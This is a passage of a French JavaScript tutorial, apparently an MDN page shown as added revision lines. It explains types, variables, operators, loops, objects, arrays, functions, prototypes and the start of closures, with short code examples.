Les chaînes en JavaScript sont des séquences de caractères. Pour être plus précis, ce sont des séquences de caractères Unicode, chaque caractère étant représenté par un nombre de 16 bits. Cette nouvelle devrait être bien accueillie par toute personne qui a déjà eu affaire à des problèmes d'internationalisation.

+ +

Si vous voulez représenter un seul caractère, il suffit d'utiliser une chaîne qui contient un seul caractère.

+ +

Pour connaître la longueur d'une chaîne, utilisez sa propriété {{jsxref("String/length","length")}} :

+ +
"bonjour".length; // 7
+
+ +

C'est notre première rencontre avec les objets JavaScript ! Les chaînes peuvent également être utilisées comme des objets. Elles possèdent aussi des méthodes permettant de manipuler la chaîne et d'accéder à certaines informations sur cette chaîne de caractères :

+ +
"bonjour".charAt(0); // "b"
+"coucou monde".replace("coucou", "bonjour"); // "bonjour monde"
+"bonjour".toUpperCase(); // "BONJOUR"
+
+ +

Les autres types

+ +

JavaScript fait la distinction entre {{jsxref("null")}}, qui est un objet de type object indiquant une absence délibérée de valeur, et {{jsxref("undefined")}} qui est un objet de type undefined indiquant une variable non initialisée — c'est-à-dire qui n'a pas encore été assignée. Nous parlerons des variables plus tard, mais en JavaScript il est possible de déclarer une variable sans lui assigner de valeur. Si vous faites cela, le type de la variable sera undefined qui est une constante.

+ +

JavaScript dispose d'un type booléen, dont les valeurs possibles sont true (vrai) et false (faux). L'un et l'autre sont des mots clés. Toute valeur peut être convertie en une valeur booléenne selon les règles suivantes :

+ +
    +
  1. false, 0, la chaîne vide (""), NaN, null et undefined deviennent toutes false 
    2. +
  2. toutes les autres valeurs deviennent true.
    3. +
+ +

Cette conversion peut être faite de manière explicite à l'aide de la fonction Boolean() :

+ +
Boolean(""); // false
+Boolean(234); // true
+
+ +

Cependant, c'est rarement nécessaire, puisque JavaScript effectuera cette conversion silencieusement chaque fois qu'il attend une valeur booléenne, comme par exemple dans une instruction if (voir plus bas). Pour cette raison, on parle souvent simplement de valeurs « vraies » et « fausses » pour indiquer des valeurs devenant respectivement true et false lorsqu'elles sont converties en valeurs booléennes.

+ +

Les opérations booléennes comme && (et logique), || (ou logique) et ! (non logique) sont également gérées, comme on le verra plus bas.

+ +

Les variables

+ +

En JavaScript, on peut déclarer de nouvelles variables grâce à l'un de ces trois mots-clés : let, const, ou var.

+ +

let permet de déclarer des variables qui pourront être utilisées dans un bloc. La variable déclarée avec let est uniquement disponible dans le bloc qui contient la déclaration.

+ +
let a;
+let nom = "Simon";
+
+ +

Voici un exemple de portée avec let :

+ +
// variableLet n'est pas utilisable ici
+
+for ( let variableLet = 0; variableLet < 5; variableLet++ ) {
+  // variableLet peut être utilisée ici
+}
+
+// variableLet n'est pas utilisable ici
+
+ +

const permet de déclarer des variables dont la valeur ne doit pas changer. Une variable déclarée avec const est disponible dans le bloc dans lequel elle est déclarée.

+ +
// On définit la constante Pi
+const Pi = 3.14;
+
+// L'instruction qui suit provoquera une
+// erreur car on veut affecter une nouvelle
+// valeur à une constante.
+Pi = 1;
+
+ +

var est le mot-clé le plus fréquemment utilisé pour déclarer des variables. Ce mot-clé était disponible avant let et const (c'était alors le seul qui permettait de déclarer des variables). Une variable qu'on déclare avec var est disponible dans le bloc de la fonction dans laquelle elle est déclarée.

+ +
var a;
+var nom = "simon";
+ +

Voici un exemple pour étudier la portée d'une variable déclarée avec var :

+ +
// variableVar *est* utilisable ici
+
+for (var variableVar = 0; variableVar < 5; variableVar++) {
+  // variableVar *est* également disponible ici
+}
+
+// variableVar *est* toujours disponible ici
+
+ +

Si on déclare une variable sans lui affecter aucune valeur, son type sera alors undefined.

+ +

JavaScript possède une différence importante quant aux autres langages de programmation comme Java : en JavaScript, les blocs ne créent pas de portées pour les variables déclarées avec var, c'est la fonction qui gère la portée d'une variable déclarée avec var. Avec ECMAScript 2015, les instructions de déclarations, let et const permettent de créer des variables dont la portée est limitée à celle du bloc qui l'englobe.

+ +

Les opérateurs

+ +

Les opérateurs numériques en JavaScript sont +, -, *, / et % (qui est l'opérateur de reste, à ne pas confondre avec le « modulo » mathématique). Les valeurs sont affectées à l'aide de = et il existe également des opérateurs d'affectation combinés comme += et -=. Ils sont équivalents à x = x opérateur y.

+ +
x += 5;
+x = x + 5;
+
+ +

Vous pouvez utiliser ++ et -- respectivement pour incrémenter et pour décrémenter. Ils peuvent être utilisés comme opérateurs préfixes ou suffixes.

+ +

L'opérateur + se permet également de concaténer des chaînes :

+ +
"coucou" + " monde" // "coucou monde"
+
+ +

Si vous additionnez une chaîne à un nombre (ou une autre valeur), tout est d'abord converti en une chaîne. Ceci pourrait vous surprendre :

+ +
"3" + 4 + 5; // "345"
+3 + 4 + "5"; // "75"
+
+ +

L'ajout d'une chaîne vide à quelque chose est une manière utile de la convertir en une chaîne.

+ +

Les comparaisons en JavaScript se font à l'aide des opérateurs <, >, <= et >=. Ceux-ci fonctionnent tant pour les chaînes que pour les nombres. L'égalité est un peu moins évidente. L'opérateur double égal effectue une équivalence si vous lui donnez des types différents, ce qui donne parfois des résultats intéressants :

+ +
123 == "123"; // true
+1 == true;    // true
+
+ +

Pour éviter les calculs d'équivalences de types, utilisez l'opérateur triple égal :

+ +
123 === "123"; //false
+true === true; // true
+
+ +

Les opérateurs != et !== existent également.

+ +

JavaScript dispose également d'opérations bit à bit.

+ +

Les structures de contrôle

+ +

JavaScript dispose d'un ensemble de structures de contrôle similaires aux autres langages de la famille du langage C. Les structures conditionnelles sont présentes avec if et else ; lesquels peuvent être chaînés si nécessaire :

+ +
var nom = "des chatons";
+if (nom == "des chiots") {
+  nom += " !";
+} else if (nom == "des chatons") {
+  nom += " !!";
+} else {
+  nom = " !" + nom;
+}
+nom == "des chatons !!"
+
+ +

JavaScript dispose également de boucles while et do-while. Les premières permettent de former des boucles basiques ; les secondes permettent de construire des boucles qui seront exécutées au moins une fois :

+ +
while (true) {
+  // une boucle infinie !
+}
+
+do {
+  var input = getInput();
+} while (inputNonValide(input))
+
+ +

Les boucles for en JavaScript sont les mêmes qu'en C et en Java : elles permettent de fournir les informations de contrôle de la boucle en une seule ligne.

+ +
for (var i = 0; i < 5; i++) {
+  // Sera exécutée cinq fois
+}
+
+ +

JavaScript permet également d'utiliser deux autres types de boucles : for...of :

+ +
for (let value of array) {
+  // utiliser des instructions
+  // pour manipuler la valeur value
+}
+ +

et for...in :

+ +
for (let propriété in objet) {
+  // utiliser des instructions
+  // pour manipuler la propriété
+}
+ +

Les opérateurs && et || utilisent une logique de court-circuit, ce qui signifie qu'ils exécuteront leur second opérande ou non selon la valeur du premier. C'est très utile pour vérifier qu'un objet n'est pas égal à null avant d'essayer d'accéder à ses attributs :

+ +
var nom = o && o.getNom();
+
+ +

Ou pour définir des valeurs par défaut :

+ +
var nom = autreNom || "nomParDéfaut";
+
+ +

De la même façon, le OU peut être utilisé pour mettre en cache des valeurs :

+ +
var nom = nomEnCache || (nomEnCache = getNom());
+ +

JavaScript propose également un opérateur ternaire pour les assignations conditionnelles en une ligne :

+ +
var permis = (age > 18) ? "oui" : "non";
+
+ +

L'instruction switch peut être utilisée pour différentes branches de code basées sur un nombre ou une chaîne :

+ +
switch (action) {
+  case 'dessiner':
+    dessine();
+    break;
+  case 'manger':
+    mange();
+    break;
+  default:
+    neRienFaire();
+}
+
+ +

Si vous n'ajoutez pas d'instruction break, l'exécution va se poursuivre au niveau suivant. C'est rarement ce qui est désiré, en fait ça vaut même la peine de préciser dans un commentaire si la poursuite au cas suivant est délibérée pour aider au débogage :

+ +
switch (a) {
+  case 1: // identique au cas 2
+  case 2:
+    mange();
+    break;
+  default:
+    nerienfaire();
+}
+
+ +

La clause default est optionnelle. Vous pouvez placer des expressions à la fois dans la partie switch et dans les cas à gérer si vous voulez ; les comparaisons entre les deux se font comme si on avait utilisé l'opérateur === :

+ +
switch (1 + 3){
+  case 2 + 2:
+    yay();
+    break;
+  default:
+    nArriveJamais();
+}
+ +

Les objets

+ +

Les objets en JavaScript sont simplement des collections de paires nom-valeur. Dans ce sens, ils sont similaires aux :

+ +
    +
  • dictionnaires en Python,
    • +
  • hashs en Perl et Ruby,
    • +
  • tables de hashing en C et C++,
    • +
  • HashMaps en Java,
    • +
  • tableaux associatifs en PHP.
    • +
+ +

Le fait que cette structure de données soit si largement utilisée est un témoignage de sa polyvalence. Puisque tout (sauf les types de base) est un objet en JavaScript, tout programme écrit dans ce langage implique naturellement un grand nombre de recherches dans des tables de hashing. C'est une bonne chose que ce soit si rapide !

+ +

La partie « nom » est une chaîne JavaScript, tandis que la partie « valeur » peut être n'importe quelle valeur JavaScript, y compris d'autres objets. Cela permet de construire des structures de données de n'importe quel niveau de complexité.

+ +

Il existe deux façons très simples pour créer un objet vide :

+ +
var obj = new Object();
+
+ +

Et :

+ +
var obj = {};
+
+ +

Ces deux lignes sont sémantiquement équivalentes ; la seconde est appelée la syntaxe littérale d'objet, et est beaucoup plus pratique. Cette syntaxe n'existait pas dans les toutes premières versions du langage, c'est pourquoi on voit parfois du code utilisant l'ancienne méthode. Cette seconde syntaxe se rapproche également du format JSON.

+ +

Une fois l'objet créé, ses propriétés peuvent à nouveau être consultées de deux manières différentes :

+ +
obj.nom = "Simon"
+var nom = obj.nom;
+
+ +

Et…

+ +
obj["nom"] = "Simon";
+var nom = obj["nom"];
+
+ +

Ces lignes sont également sémantiquement équivalentes. La seconde méthode a l'avantage de fournir le nom de l'attribut de l'objet dans une chaîne, ce qui signifie qu'il peut être calculé au moment de l'exécution (mais ce qui peut empêcher certaines optimisations du moteur JavaScript). Elle peut également être utilisée pour définir et lire des propriétés dont les noms sont des mots réservés :

+ +
obj.for = "Simon"; // avant ES5 erreur de syntaxe, "for" est un mot réservé
+obj.for = "Simon"; // OK à partir d'ES5
+obj["for"] = "Simon"; // fonctionne très bien
+
+ +
+

Note : ECMAScript 5 permet d'utiliser les mots-clés réservés pour des noms de propriétés, même si ceux-ci ne sont pas encadrés par des doubles quotes. Pour plus de précisions, voir le texte de la spécification à ce sujet (différence entre Identifier et IdentifierName). Cependant, pour des raisons de lisibilité, on préfèrera ne pas utiliser les mots-clés pour désigner des propriétés.

+
+ +

La syntaxe littérale d'objet peut être utilisée pour initialiser un objet dans son intégralité :

+ +
var obj = {
+  nom: "Carotte",
+  for: "Max",
+  details: {
+    couleur: "orange",
+    taille: 12
+  }
+};
+
+ +

Les accès à des attributs peuvent aussi être chaînés :

+ +
obj.details.couleur; // orange
+obj["details"]["taille"]; // 12
+
+ +

Pour plus d'informations sur les objets et les prototypes, on pourra consulter Object.prototype et l'article sur l'héritage et la chaîne de prototypes.

+ +

Les tableaux

+ +

Les tableaux (Arrays) en JavaScript sont en fait un type spécial d'objets. Ils fonctionnent d'une façon tout à fait similaire aux objets normaux (on peut naturellement accéder aux propriétés numériques avec la syntaxe des crochets []), mais ils ont également une propriété magique appelée length. Elle vaut toujours un de plus que le plus grand indice dans le tableau.

+ +

L'ancienne manière de créer des tableaux est celle-ci :

+ +
var a = new Array();
+a[0] = "chien";
+a[1] = "chat";
+a[2] = "poule";
+a.length; // 3
+
+ +

Une notation plus pratique est la syntaxe littérale :

+ +
var a = ["chien", "chat", "poule"];
+a.length; // 3
+
+ +
+

Laisser une virgule à la fin de la syntaxe littérale produit des résultats incohérents entre les différents navigateurs, bien qu'il soit spécifié que la dernière virgule doit être ignorée et que les éventuelles virgules précédentes définissent des éléments undefined. Il n'est pas recommandé de laisser des virgules en fin de notation littérale.

+
+ +

Notez que array.length ne correspond pas nécessairement au nombre d'éléments dans le tableau. Observez le code suivant :

+ +
var a = ["chien", "chat", "poule"];
+a[100] = "renard";
+a.length // 101
+
+ +

Rappelez-vous : la longueur du tableau vaut simplement un de plus que l'indice le plus élevé.

+ +

Si vous interrogez un élément de tableau non existant, vous obtenez undefined :

+ +
typeof(a[90]); // undefined
+
+ +

Si vous prenez cela en compte, il est possible de parcourir un tableau à l'aide de la boucle suivante :

+ +
for (var i = 0; i < a.length; i++) {
+  // Faire quelque chose avec a[i]
+}
+
+ +

Ce n'est pas la solution la plus performante, parce que l'on examine la propriété length à chaque tour de boucle. Une version améliorée est :

+ +
for (var i = 0, len = a.length; i < len; i++) {
+  // Faire quelque chose avec a[i]
+}
+
+ +

Mais il est possible d'exprimer cela encore mieux :

+ +
for (var i = 0, item; item = a[i]; i++) {
+  // Faire quelque chose avec item
+}
+
+ +

Ici on définit deux variables. La véracité de l'affectation dans la partie médiane de la boucle for est également vérifiée — si elle est vraie, la boucle continue. Étant donné que i est incrémentée à chaque fois, les éléments du tableau seront affectés à la variable item dans un ordre séquentiel. La boucle s'arrête lorsque la vérification d'un élément renvoie faux (comme c'est le cas d'une valeur undefined).

+ +

Notez que cette astuce ne peut être utilisée que pour des tableaux qui ne comprennent pas d'autres valeurs qui pourraient renvoyer une valeur fausse (des tableaux d'objets ou de nœuds DOM par exemple). Si vous parcourez des données numériques parmi lesquelles pourrait se trouver un zéro, des chaînes dont l'une pourrait être vide ou un tableau non continu, vous devrez utiliser la variante avec i, len.

+ +

Une autre manière de parcourir un tableau est d'utiliser une boucle for...in. Notez que si quelqu'un ajoutait d'autres propriétés à Array.prototype, elles seraient également parcourues par cette boucle et c'est pour cette raison que cette méthode est déconseillée :

+ +
for (var i in a) {
+  // faire quelque chose avec a[i]
+}
+
+ +

En revanche avec la boucle for...of, apparue avec ECMAScript 2015, on ne parcourt que les éléments du tableau (ou de tout autre itérable) :

+ +
for (let elem of a){
+  // faire quelque chose avec elem
+}
+ +

Avec ECMAScript 5, on peut également parcourir un tableau avec la méthode forEach() :

+ +
["chien", "chat", "poule"].forEach(function(valeurCourante, index, array) {
+  // Faire quelque chose avec valeurCourante et array[index]
+});
+ +

Si vous désirez ajouter un élément à un tableau, la manière la plus sûre est de faire ceci :

+ +
a.push(element);
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nom de la méthodeDescription
a.toString()Renvoie une chaîne composée des différents éléments auxquels on a appliqué toString(), séparés par des virgules.
a.toLocaleString()Renvoie une chaîne composée des différents éléments auxquels on a appliqué toLocaleString(), séparés par des virgules.
a.concat(item1[, item2[, ...[, itemN]]])Renvoie un nouveau tableau auquel on a ajouté les éléments.
a.join(sep)Convertit le tableau en une chaîne dont les valeurs sont séparées par le paramètre sep.
a.pop()Renvoie le dernier élément du tableau et le retire du tableau.
a.push(item1, ..., itemN)Ajoute un ou plusieurs éléments à la fin du tableau.
a.reverse()Retourne le tableau.
a.shift()Renvoie le premier élément du tableau et le retire du tableau.
a.slice(début[, fin])Renvoie un sous-tableau.
a.sort([cmpfn])Trie le tableau (avec une fonction de comparaison optionnelle).
a.splice(début, delcount[, item1[, ...[, itemN]]])Permet de modifier un tableau en en supprimant une partie et en la remplaçant avec plus d'éléments.
a.unshift(item1[, item2[, ...[, itemN]]])Ajoute des éléments au début du tableau.
+ +

Les fonctions

+ +

Avec les objets, les fonctions sont les composants de base d'une bonne compréhension de JavaScript. La fonction la plus basique n'a rien de compliqué :

+ +
function ajoute(x, y) {
+  var total = x + y;
+  return total;
+}
+
+ +

Ceci représente tout ce qu'il y a à savoir à propos des fonctions basiques. Une fonction JavaScript peut recevoir 0 paramètre nommé ou plus. Son corps peut contenir autant d'instructions que vous le voulez et permet de déclarer des variables qui sont locales à la fonction. L'instruction return peut être utilisée pour renvoyer une valeur à tout moment, mettant ainsi fin à la fonction. Si aucune instruction return n'est utilisée (ou que l'instruction return n'est suivie d'aucune valeur), JavaScript renvoie undefined.

+ +

On se rendra compte que les paramètres sont plus des indications qu'autre chose. Il est en effet possible d'appeler une fonction sans lui fournir les paramètres qu'elle attend, auquel cas ils vaudront undefined.

+ +
ajoute(); // NaN - Il n'est pas possible d'additionner des variables indéfinies
+
+ +

Il est également possible de fournir plus de paramètres que demandé par la fonction :

+ +
ajoute(2, 3, 4); // 5
+// les deux premiers sont additionnés ; 4 est ignoré
+
+ +

Par définition les fonctions ont accès à des variables supplémentaires à l'intérieur de leur corps, appelée arguments. Ce sont des objets semblables à un tableau qui conservent toutes les valeurs reçues par la fonction. Réécrivons la fonction ajoute pour recevoir autant de valeurs qu'on veut :

+ +
function ajoute() {
+  var somme = 0;
+  for (var i = 0, j = arguments.length; i < j; i++) {
+    somme += arguments[i];
+  }
+  return somme;
+}
+
+ajoute(2, 3, 4, 5); // 14
+
+ +

Ce n'est cependant pas vraiment plus utile que d'écrire 2 + 3 + 4 + 5. Écrivons plutôt une fonction de calcul de moyenne :

+ +
function moyenne() {
+  var somme = 0;
+  for (var i = 0, j = arguments.length; i < j; i++) {
+    somme += arguments[i];
+  }
+  return somme / arguments.length;
+}
+moyenne(2, 3, 4, 5); // 3.5
+
+ +

Avec la décomposition des arguments (ES2015/ES6) (cf. les paramètres du reste) et let, on pourrait écrire une version équivalente :

+ +
function moyenne(...args) {
+  var somme = 0;
+  for (let valeur of args) {
+    somme += valeur;
+  }
+  return somme / args.length;
+}
+moyenne(2, 3, 4, 5); // 3.5
+ +
+

Note : Avec les paramètres du reste, dans l'exemple précédent, args contient tous les arguments passés à la fonction. Si on avait utilisé fonction moyenne(premiereValeur, ...args), args aurait alors contenu toutes les valeurs mais pas le premier argument.

+
+ +

C'est très pratique, mais on rencontre un nouveau problème. La fonction moyenne() reçoit une liste de valeurs séparées par des virgules, mais comment fait-on si on souhaite trouver la moyenne des valeurs d'un tableau ?

+ +

On pourrait simplement récrire la fonction comme ceci :

+ +
function moyenneTableau(arr) {
+  var somme = 0;
+  for (var i = 0, j = arr.length; i < j; i++) {
+    somme += arr[i];
+  }
+  return somme / arr.length;
+}
+moyenneTableau([2, 3, 4, 5]); // 3.5
+
+ +

Mais ce serait bien si on pouvait réutiliser la fonction qu'on avait déjà créée. Par chance, JavaScript permet d'appeler une fonction et de lui donner un tableau de paramètres d'une longueur arbitraire, à l'aide de la méthode apply() de tout objet Function.

+ +
moyenne.apply(null, [2, 3, 4, 5]); // 3.5
+
+ +

Le second paramètre envoyé à apply() est le tableau à utiliser comme paramètre ; nous parlerons du premier plus tard. Cela permet de souligner le fait que les fonctions sont aussi des objets.

+ +
+

Note : On peut également utiliser l'opérateur de décomposition pour l'appel et la définition de la fonction pour écrire, par exemple, moyenne(...nombres).

+
+ +

JavaScript permet également de créer des fonctions anonymes.

+ +
var moyenne = function() {
+  var somme = 0;
+  for (var i = 0, j = arguments.length; i < j; i++) {
+    somme += arguments[i];
+  }
+  return somme / arguments.length;
+}
+
+ +

Ceci est sémantiquement équivalent à la forme function moyenne() vue plus haut. C'est extrêmement puissant, car cela permet de mettre une définition de fonction n'importe où, là où on mettrait normalement une expression. C'est la porte ouverte à toutes sortes d'astuces brillantes. Voici par exemple une manière de « cacher » certaines variables locales, comme la visibilité par blocs du langage C :

+ +
var a = 1;
+var b = 2;
+
+(function() {
+    var b = 3;
+    a += b;
+})();
+
+a; // 4
+b; // 2
+
+ +

JavaScript permet d'appeler des fonctions récursivement. C'est particulièrement utile lorsqu'on a affaire à des structures en arbre, comme c'est le cas dans le DOM du navigateur.

+ +
function countChars(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += countChars(child);
+  }
+  return count;
+}
+
+ +

Cela permet de mettre le doigt sur un problème potentiel des fonctions anonymes : comment les appelle-t-on récursivement si elles n'ont pas de nom ? La réponse se trouve une nouvelle fois dans l'objet arguments, qui, non content d'être une liste des paramètres, fournit également une propriété appelée arguments.callee. Celle-ci se réfère toujours à la fonction courante et peut donc être utilisée pour des appels récursifs :

+ +
var charsInBody = (function counter(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += counter(child);
+  }
+  return count;
+})(document.body);
+ +

La forme utilisée dans l'exemple qui précède est une fonction invoquée immédiatement. On déclare une fonction qu'on appelle directement. Le nom counter n'est alors accessible qu'au sein de la portée.

+ +

Le nom fourni à l'expression de la fonction n'est disponible qu'au sein de la portée de la fonction. Cela permet au moteur JavaScript de faire des optimisations. Cela rend également le code plus lisible. Le nom apparaîtra également dans le débogueur et les piles d'appel, ce qui permettra de gagner du temps.

+ +

En JavaScript, les fonctions sont également des objets. Il est donc possible de leur ajouter ou de modifier leurs propriétés.

+ +

Les objets personnalisés

+ +
+

Note : Pour une approche plus détaillée de la programmation orientée objet en JavaScript, voir l'Introduction à JavaScript orienté objet.

+
+ +

Dans la programmation orientée objet classique, les objets sont des collections de données et de méthodes opérant sur ces données. Imaginons un objet personne avec les champs prénom et nom. Il y a deux manières d'afficher son nom complet : de la façon « prénom nom » ou de la façon « nom prénom ». À l'aide des fonctions et des objets vus précédemment, voici une manière de le faire :

+ +
function creerPersonne(prenom, nom) {
+  return {
+    prenom: prenom,
+    nom: nom
+  }
+}
+
+function personneNomComplet(personne) {
+  return personne.prenom + ' ' + personne.nom;
+}
+
+function personneNomCompletInverse(personne) {
+  return personne.nom + ' ' + personne.prenom;
+}
+
+var s = creerPersonne("Simon", "Willison");
+personneNomComplet(s); // Simon Willison
+
+personneNomCompletInverse(s); // Willison Simon
+ +

Ça fonctionne, mais c'est inutilement verbeux. On va se retrouver avec des dizaines de fonctions dans l'espace de noms global. Ce dont on aurait vraiment besoin, c'est d'une manière d'attacher une fonction à un objet. Comme les fonctions sont des objets, c'est facile :

+ +
function creerPersonne(prenom, nom) {
+  return {
+    prenom: prenom,
+    nom: nom,
+    nomComplet: function() {
+      return this.prenom + ' ' + this.nom;
+    },
+    nomCompletInverse: function() {
+      return this.nom + ' ' + this.prenom;
+    }
+  }
+}
+
+var s = creerPersonne("Simon", "Willison")
+s.nomComplet(); // Simon Willison
+s.nomCompletInverse(); // Willison Simon
+ +

Il y a quelque chose que nous n'avons pas vu jusqu'à présent : le mot-clé this. Utilisé au sein d'une fonction, this fait référence à l'objet courant. Sa signification dépend de la façon dont la fonction a été appelée. Si elle a été appelée avec la notation utilisant le point ou les crochets sur un objet, cet objet devient this. Si cette notation n'a pas été utilisée pour l'appel, this fera référence à l'objet global. C'est une source fréquente d'erreurs. Par exemple :

+ +
var s = creerPersonne("Simon", "Willison");
+var nomComplet = s.nomComplet;
+nomComplet(); // undefined undefined
+
+ +

Lorsqu'on appelle nomComplet(), this est lié à l'objet global. Comme il n'y a pas de variables globales appelées prenom ou nom, on se retrouve avec undefined pour chacune.

+ +

On peut se servir du mot clé this pour améliorer notre fonction créerPersonne :

+ +
function Personne(prenom, nom) {
+  this.prenom = prenom;
+  this.nom = nom;
+  this.nomComplet = function() {
+    return this.prenom + ' ' + this.nom;
+  }
+  this.nomCompletInverse = function() {
+    return this.nom + ' ' + this.prenom;
+  }
+}
+var s = new Personne("Simon", "Willison");
+
+ +

Nous avons utilisé un nouveau mot clé : new. new est très lié à this. Il crée un nouvel objet vide et appelle ensuite la fonction spécifiée, avec this pointant vers ce nouvel objet. Les fonctions prévues pour être appelées par new sont appelées des constructeurs. L'usage courant est de mettre la première lettre de ces fonctions en majuscule pour se souvenir de les appeler avec new.

+ +

Nos objets Personne s'améliorent, mais il leur reste certaines aspérités pas très esthétiques. Chaque fois que l'on crée une personne, on crée deux nouveaux objets de fonctions en même temps. Ne serait-ce pas mieux si ce code était partagé ?

+ +
function personneNomComplet() {
+  return this.prenom + ' ' + this.nom;
+}
+
+function personneNomCompletInverse() {
+  return this.nom + ' ' + this.prenom;
+}
+
+function Personne(prenom, nom) {
+  this.prenom = prenom;
+  this.nom = nom;
+  this.nomComplet = personneNomComplet;
+  this.nomCompletInverse = personneNomCompletInverse;
+}
+
+ +

C'est mieux : on crée les fonctions une seule fois, et on leur assigne des références au sein du constructeur. Est-il possible de faire encore mieux que ça ? La réponse est oui :

+ +
function Personne(prenom, nom) {
+  this.prenom = prenom;
+  this.nom = nom;
+}
+
+Personne.prototype.nomComplet = function() {
+  return this.prenom + ' ' + this.nom;
+}
+
+Personne.prototype.nomCompletInverse = function nomCompletInverse() {
+  return this.nom + ' ' + this.prenom;
+}
+
+ +

Personne.prototype est un objet partagé par toutes les instances de Personne. Il fait partie d'une chaîne de résolution (qui a un nom spécial, la « chaîne de prototypes ») : chaque fois que vous essayez d'accéder à une propriété de Personne qui n'est pas définie, JavaScript va vérifier Personne.prototype pour voir si cette propriété n'existe pas plutôt à cet endroit. Par conséquent, tout ce qui est assigné à Personne.prototype devient disponible à toutes les instances de ce constructeur via l'objet this.

+ +

C'est un outil incroyablement puissant. JavaScript vous permet de modifier le prototype de quelque chose à tout moment dans votre programme, cela signifie qu'il est possible d'ajouter des méthodes supplémentaires à des objets existants lors de l'exécution :

+ +
var s = new Personne("Simon", "Willison");
+s.prenomEnMajuscules(); // TypeError on line 1: s.prenomEnMajuscules is not a function
+
+Personne.prototype.prenomEnMajuscules = function prenomEnMajuscules() {
+  return this.prenom.toUpperCase()
+}
+s.prenomEnMajuscules(); // "SIMON"
+
+ +

Il est également possible d'ajouter des choses aux prototypes de classes d'objets JavaScript prédéfinies. Ajoutons par exemple une méthode à String qui renvoie cette chaîne à l'envers :

+ +
var s = "Simon";
+s.inverse(); // TypeError on line 1: s.inverse is not a function
+
+String.prototype.inverse = function inverse() {
+  var r = "";
+  for (var i = this.length - 1; i >= 0; i--) {
+    r += this[i];
+  }
+  return r;
+}
+s.inverse(); // "nomiS"
+
+ +

Notre nouvelle méthode fonctionne même sur les chaînes littérales !

+ +
"Ceci peut maintenant être inversé.".inverse() // ".ésrevni ertê tnanetniam tuep iceC"
+
+ +

Comme mentionné précédemment, le prototype fait partie d'une chaîne de prototypes. Le début de cette chaîne est Object.prototype, dont toString() fait partie des méthodes. C'est cette méthode qui est appelée quand vous essayez de représenter un objet sous la forme d'une chaîne. Elle sera utile pour déboguer nos objets Personne :

+ +
var s = new Personne("Simon", "Willison");
+s; // [object Object]
+
+Personne.prototype.toString = function() {
+  return '<Personne : ' + this.nomComplet() + '>';
+}
+s.toString(); // "<Personne : Simon Willison>"
+
+ +

Vous vous souvenez de la fonction moyenne.apply() qui avait un premier paramètre défini à null ? Nous pouvons en reparler à présent. Le premier paramètre d'apply() est l'objet qui doit être traité comme this. Par exemple, voici une implémentation de new :

+ +
function trivialNew(constructor, ...args) {
+  var o = {}; // Crée un objet
+  constructor.apply(o, ...args);
+  return o;
+}
+
+ +

Ce n'est pas une réplique exacte de new parce qu'elle n'initialise pas la chaîne de prototype. La méthode apply() est difficile à illustrer, ce n'est pas quelque chose qu'on utilise très souvent, mais c'est utile de savoir qu'elle existe. Dans ce fragment de code, on utilise les arguments restants, représentés par ...args. Comme son nom l'indique, cela représente le reste des arguments passés à la fonction. À l'heure actuelle, cette fonctionnalité n'est disponible que sous Firefox, il est donc conseillé d'utiliser arguments.

+ +

Appeler

+ +
var bill = trivialNew(Personne, ["William", "Orange"]);
+ +

est donc quasiment équivalent à :

+ +
var bill = new Personne("William", "Orange");
+ +

apply() possède une fonction proche, appelée call, qui permet de définir la valeur de this mais qui prend une liste d'arguments plutôt qu'un tableau.

+ +
function nomMajuscule() {
+  return this.nom.toUpperCase();
+}
+var s = new Personne("Simon", "Willison");
+nomMajuscule.call(s); // correspond à:
+s.nomMajuscule = nomMajuscule;
+s.nomMajuscule();
+ +

Les fonctions internes

+ +

Comme nous l'avons déjà vu, les déclarations de fonctions JavaScript peuvent se trouver à l'intérieur d'autres fonctions. Un détail important des fonctions définies à l'intérieur d'autres fonctions est qu'elles peuvent accéder à des variables de leur fonction parente :

+ +
function parentFunc() {
+  var a = 1;
+  function fonctionImbriquee() {
+    var b = 4; // Inacessible depuis parentFunc()
+    return a + b;
+  }
+  return fonctionImbriquee(); // 5
+}
+
+ +

Cela peut s'avérer très utile dans l'écriture de code plus facilement maintenable. Si une fonction A dépend d'une ou deux autres fonctions B et C qui ne sont utiles à aucun autre endroit de votre code, on peut imbriquer ces fonctions utilitaires B et C à l'intérieure de la fonction A. Cela diminue le nombre de fonctions se trouvant dans la portée globale, ce qui est toujours une bonne chose.

+ +

C'est également un bon moyen de se préserver de l'attrait trompeur des variables globales. Lorsqu'on écrit du code complexe, il est souvent tentant d'utiliser des variables globales pour partager des valeurs entre différentes fonctions, ce qui mène à du code difficile à maintenir. Les fonctions internes peuvent partager des variables avec leur parent, de sorte que vous pouvez utiliser ce mécanisme pour coupler des fonctions ensemble lorsque cela a un sens, sans pour autant polluer l'espace de noms global. Ce sont ainsi des « globales locales ». Cette technique doit être utilisée parcimonieusement, mais il est utile de s'en souvenir.

+ +

Les fermetures (Closures)

+ +

Cela nous amène à l'une des abstractions les plus spectaculaires que JavaScript a à nous offrir. C'est également un des concepts les plus déroutants. Que fait ce fragment de code ?

+ +
function creerAdditionneur(a) {
+  return function(b) {
+    return a + b;
+  }
+}
+var ajoute5 = creerAdditionneur(5);
+var ajoute20 = creerAdditionneur(20);
+ajoute5(6); // ?
+ajoute20(7); // ?
+
+ +

Le nom de la fonction creerAdditionneur devrait vous donner un indice : elle crée de nouveaux additionneurs sous forme de fonctions qui, quand elles sont appelées avec un paramètre, l'ajoutent à celui avec lequel elles ont été créées.

+ +

Ce qui se passe ici est sensiblement la même chose qu'avec les fonctions internes dont nous avons parlé précédemment : une fonction définie à l'intérieur d'une autre fonction a accès aux variables de sa fonction extérieure. La seule différence ici est que la fonction extérieure a déjà renvoyé son résultat, et le bon sens semblerait vouloir être que ses variables locales n'existent plus. Mais elles existent encore ; autrement les additionneurs présentés ci-dessus ne fonctionneraient pas. Ce n'est pas tout, il y a même deux « copies » différentes des variables locales de creerAdditionneur : une dans laquelle a vaut 5 et une autre dans laquelle a vaut 20. Quel est donc le résultat de ces appels de fonction ?

+ +
ajoute5(6); // renvoie 11
+ajoute20(7); // renvoie 27
+
+ +

